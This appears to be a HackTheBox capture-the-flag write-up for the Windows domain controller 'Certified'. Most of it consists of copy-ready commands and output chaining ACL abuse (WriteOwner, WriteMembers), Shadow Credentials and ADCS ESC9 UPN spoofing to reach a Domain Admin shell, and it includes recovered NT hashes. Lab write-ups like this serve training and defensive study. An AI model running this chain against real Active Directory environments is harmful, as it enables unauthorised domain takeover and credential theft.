Certified¶
| Field | Value |
|---|---|
| Platform | HackTheBox |
| OS | Windows (Domain Controller) |
| Difficulty | Medium |
| Initial Vector | Provided creds → BloodHound ACL chain → Shadow Credentials → WinRM as management_svc |
| Privesc | GenericAll → Shadow Credentials on ca_operator → ESC9 UPN spoofing → Administrator hash |
Note: This machine provides starting credentials: judith.mader : judith09
Phase 1 — Reconnaissance¶
I started with a fast SYN sweep across all TCP ports, then ran a focused version and script scan against the discovered ports.
nmap -sS -n -Pn --min-rate 5000 -p- 10.129.231.186 -oG ports
nmap -sV -sC -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49693,49694,49695,49722,49727,49772 --min-rate 5000 10.129.231.186 -n -Pn
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-22 08:03:24Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb, ...)
| ssl-cert: Subject Alternative Name: DNS:DC01.certified.htb, DNS:certified.htb, DNS:CERTIFIED
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
smb2-security-mode: Message signing enabled and required
clock-skew: mean: 7h00m01s, deviation: 0s, median: 7h00m01s
| Port | Service | Version | Notes |
|---|---|---|---|
| 53 | DNS | Simple DNS Plus | Domain: certified.htb |
| 88 | Kerberos | — | DC confirmed; hostname DC01 |
| 139/445 | SMB | — | Signing required; access with provided creds |
| 389/636/3268/3269 | LDAP/LDAPS | — | SAN confirms DC01.certified.htb |
| 5985 | WinRM | HTTPAPI 2.0 | Only management_svc is in Remote Management Users |
| 9389 | mc-nmf | .NET | AD Web Services |
The domain certified.htb and hostname DC01 were confirmed via LDAP banner and SSL certificate SAN. Clock skew was exactly +7 hours with zero deviation — mandatory to correct before any Kerberos operation. SMB signing required ruled out relay attacks.
timedatectl set-ntp false
ntpdate -u 10.129.231.186
echo "10.129.231.186 certified.htb DC01.certified.htb" >> /etc/hosts
Phase 2 — Service Enumeration¶
SMB (445)¶
I validated the provided credentials and enumerated accessible shares.
nxc smb 10.129.231.186 -u 'judith.mader' -p 'judith09' --shares
judith.mader had read access to IPC$, NETLOGON, and SYSVOL. All three were browsed and returned nothing actionable. I built a domain user list via rpcclient and checked description fields for stored credentials.
rpcclient -U "certified.htb/judith.mader%judith09" 10.129.231.186 -c "enumdomusers" | grep -oP '\[.*?\]' | grep -v '0x' | tr -d '[]' > users.txt
rpcclient -U "certified.htb/judith.mader%judith09" 10.129.231.186 -c "querydispinfo"
No passwords in description fields.
Kerberos (88)¶
I checked both Kerberos attack paths before moving to ACL enumeration.
GetNPUsers.py -usersfile users.txt -request -dc-ip 10.129.231.186 'certified.htb/'
GetUserSPNs.py certified.htb/judith.mader:judith09 -dc-ip 10.129.231.186 -request
AS-REP roasting returned nothing — all accounts required pre-authentication. Kerberoasting returned a $krb5tgs$23$ hash for management_svc. I attempted to crack it offline with both John and Hashcat against rockyou.txt.
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
The hash did not crack. Brute-force was not the intended path — ACL abuse via BloodHound would be needed to compromise management_svc.
LDAP (389)¶
I ran a full domain dump with ldapdomaindump to review group memberships before launching BloodHound.
python3 -m ldapdomaindump -u 'certified.htb\judith.mader' -p judith09 10.129.231.186
domain_users_by_group.html confirmed that management_svc was the only member of Remote Management Users — meaning WinRM access required compromising exactly that account.
Phase 3 — Attack Path¶
Post-Shell Enumeration — BloodHound Analysis¶
I collected all AD relationship data and loaded it into BloodHound CE to map ACL-based attack paths.
/opt/Bloodhound/bloodhound-cli up
nxc ldap 10.129.231.186 -u 'judith.mader' -p 'judith09' --bloodhound --collection All --dns-server 10.129.231.186 --port 389
BloodHound revealed the following ACL chain:
judith.mader→ WriteOwner →MANAGEMENTgroupMANAGEMENTgroup → GenericWrite →management_svcmanagement_svc→ GenericAll →ca_operator
The full path: take ownership of management → grant self AddMember → add judith.mader to the group → abuse GenericWrite to perform Shadow Credentials on management_svc → recover its NT hash → use GenericAll on ca_operator to repeat Shadow Credentials → abuse ADCS ESC9 as ca_operator to impersonate Administrator.
Lateral Movement — ACL Chain Exploitation¶
Step 1 — WriteOwner: Take ownership of the management group
WriteOwner allows reassigning the owner of an AD object. As the new owner, the principal gains implicit full control over the object's DACL. I assigned judith.mader as the new owner of the management group using owneredit.py.
owneredit.py -action write -new-owner 'judith.mader' -target 'management' 'certified.htb'/'judith.mader':'judith09'
Step 2 — Grant AddMember to judith.mader
As the new owner I could modify the group's DACL directly. I used dacledit.py to grant judith.mader the WriteMembers right, enabling her to add members to the group.
dacledit.py -action 'write' -rights 'WriteMembers' -principal 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' 'certified.htb'/'judith.mader':'judith09'
Step 3 — Add judith.mader to the management group
net rpc group addmem "management" "judith.mader" -U "certified.htb"/"judith.mader"%"judith09" -S "10.129.231.186"
I confirmed membership via rpcclient.
rpcclient -U "certified.htb/judith.mader%judith09" 10.129.231.186 -c "querygroupmem 0x450"
rpcclient -U "certified.htb/judith.mader%judith09" 10.129.231.186 -c "queryuser 0x44f"
judith.mader was now a member of management and inherited its GenericWrite over management_svc.
Step 4 — Shadow Credentials on management_svc
GenericWrite permits writing to the msDS-KeyCredentialLink attribute on a user object. Shadow Credentials exploits this by injecting a Key Credential — a public key whose private key we control. The target account can then be authenticated via PKINIT using the certificate, and the AS-REP session key from that exchange can be used to recover the account's NT hash without touching or changing its password.
I injected the Key Credential with pywhisker.
pywhisker -d "certified.htb" -u "judith.mader" -p "judith09" --target "management_svc" --action "add"
[+] Saved PFX (#PKCS12) certificate & key at path: nKDIIeMs.pfx
[*] Must be used with password: XXqHUzK9HfNAYA5B6VIj
I requested a TGT for management_svc using the certificate via PKINIT.
python3 gettgtpkinit.py -cert-pfx ../nKDIIeMs.pfx -pfx-pass XXqHUzK9HfNAYA5B6VIj certified.htb/management_svc management_svc.ccache
AS-REP encryption key: bae468804c3d669e567a1f727b81e3646fbfbcadc6333d8ae4b38cfb23d72d5c
I extracted the NT hash from the AS-REP session key using getnthash.py.
KRB5CCNAME=management_svc.ccache python3 getnthash.py -key bae468804c3d669e567a1f727b81e3646fbfbcadc6333d8ae4b38cfb23d72d5c -dc-ip 10.129.231.186 certified.htb/management_svc
Recovered NT Hash: a091c1832bcdd4677c28b5a6a1295584
Initial Access — WinRM as management_svc¶
I passed the NT hash to WinRM and opened a shell.
nxc winrm 10.129.231.186 -u 'management_svc' -H a091c1832bcdd4677c28b5a6a1295584
evil-winrm -i certified.htb -u 'management_svc' -H 'a091c1832bcdd4677c28b5a6a1295584'
The user flag was located at C:\Users\management_svc\Desktop\user.txt.
Privilege Escalation — Shadow Credentials on ca_operator → ESC9¶
management_svc had GenericAll over ca_operator — the same Shadow Credentials technique applied.
pywhisker -d "certified.htb" -u "management_svc" -H "a091c1832bcdd4677c28b5a6a1295584" --target "ca_operator" --action "add"
[+] Saved PFX (#PKCS12) certificate & key at path: zn9LW28B.pfx
[*] Must be used with password: TJeUVK3WqpbALohG8odR
gettgtpkinit.py -cert-pfx zn9LW28B.pfx -pfx-pass TJeUVK3WqpbALohG8odR certified.htb/ca_operator ca_operator.ccache
AS-REP encryption key: abea090a2a5f5a44d83ac5bea1fe651e3fc1fde8f98c01ff47c3d98b8015fb26
KRB5CCNAME=ca_operator.ccache getnthash.py -key abea090a2a5f5a44d83ac5bea1fe651e3fc1fde8f98c01ff47c3d98b8015fb26 -dc-ip 10.129.231.186 certified.htb/ca_operator
Recovered NT Hash: b4b86f45c6018f1b664f70805f45d8f2
ca_operator was not in Remote Management Users — WinRM was denied. Its value was ADCS enrollment permissions on a vulnerable certificate template.
ESC9 — UPN spoofing via NoSecurityExtension template
ESC9 applies when a certificate template has the NoSecurityExtension enrollment flag set. Without a SID embedded in the certificate, the DC maps the certificate to an account using only the UPN field. By temporarily setting ca_operator's UPN to [email protected], requesting a certificate, then reverting it, the resulting certificate authenticates as Administrator when presented to the DC.
I first identified the vulnerable template with certipy-ad.
certipy-ad find -username ca_operator -hashes :b4b86f45c6018f1b664f70805f45d8f2 -dc-ip 10.129.231.186 -stdout
Template CertifiedAuthentication was flagged as vulnerable to ESC9. I used management_svc — which held GenericAll over ca_operator — to update ca_operator's UPN.
certipy-ad account update -u [email protected] -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn [email protected] -dc-ip 10.129.231.186
With the UPN pointing at administrator, I requested a certificate as ca_operator against the vulnerable template.
certipy-ad req -u '[email protected]' -hashes :b4b86f45c6018f1b664f70805f45d8f2 -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip 10.129.231.186 -debug
[*] Wrote certificate and private key to 'administrator.pfx'
I immediately reverted ca_operator's UPN to its original value. Leaving the UPN pointing at administrator causes KDC_ERR_C_PRINCIPAL_UNKNOWN errors on subsequent authentication attempts for ca_operator.
certipy-ad account update -u [email protected] -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn [email protected] -dc-ip 10.129.231.186
I authenticated with the certificate to recover the Administrator NT hash via PKINIT.
certipy-ad auth -pfx administrator.pfx -domain certified.htb -dc-ip 10.129.231.186
Administrator NT Hash: 0d5b49608bbce1751f708748f67e2d34
I passed the NT hash to evil-winrm to open an Administrator shell.
nxc winrm 10.129.231.186 -u 'administrator' -H 0d5b49608bbce1751f708748f67e2d34
evil-winrm -i 10.129.231.186 -u 'administrator' -H 0d5b49608bbce1751f708748f67e2d34
Shell obtained as certified\Administrator. The root flag was retrieved from C:\Users\Administrator\Desktop\root.txt.
Flags¶
| Flag | Path | Value |
|---|---|---|
| User | C:\Users\management_svc\Desktop\user.txt |
FLAG{REDACTED} |
| Root | C:\Users\Administrator\Desktop\root.txt |
FLAG{REDACTED} |
Conclusion¶
- A two-phase Nmap scan identified a Windows DC with SMB, LDAP, Kerberos, and WinRM exposed; the domain
certified.htband hostnameDC01were confirmed via LDAP banner and SSL certificate SAN. Provided starting credentials were judith.mader : judith09. - SMB enumeration, description field inspection, AS-REP roasting, and Kerberoasting all returned limited results — a
krb5tgs$23$hash formanagement_svcwas recovered but failed to crack againstrockyou.txt. ACL abuse was the intended path. - BloodHound revealed a four-step chain:
judith.mader→ WriteOwner →MANAGEMENTgroup → GenericWrite →management_svc→ GenericAll →ca_operator. owneredit.pyreassigned ownership of themanagementgroup tojudith.mader;dacledit.pygrantedWriteMembers;judith.maderwas added to the group vianet rpc group addmem, inheritingGenericWriteovermanagement_svc.- Shadow Credentials via
pywhiskerinjected a Key Credential intomanagement_svc'smsDS-KeyCredentialLink;gettgtpkinit.pyandgetnthash.pyrecovered the NT hash — a091c1832bcdd4677c28b5a6a1295584 — without touching the account's password. WinRM access was confirmed and the user flag retrieved. - The same Shadow Credentials flow against
ca_operator(viamanagement_svc'sGenericAll) recovered its NT hash;certipy-adidentified templateCertifiedAuthenticationas vulnerable to ESC9;ca_operator's UPN was temporarily set to[email protected], a certificate was requested, the UPN was reverted, andcertipy-ad authconverted the PFX to the Administrator NT hash — 0d5b49608bbce1751f708748f67e2d34 — yielding a Domain Admin shell and the root flag.
The system fell because a layered ACL misconfiguration chain — WriteOwner enabling group takeover, GenericWrite enabling Shadow Credentials, and GenericAll compounding into ADCS ESC9 — created a fully authenticated-to-Administrator path from a low-privilege starting account without requiring any hash cracking, exploit, or code execution on the DC.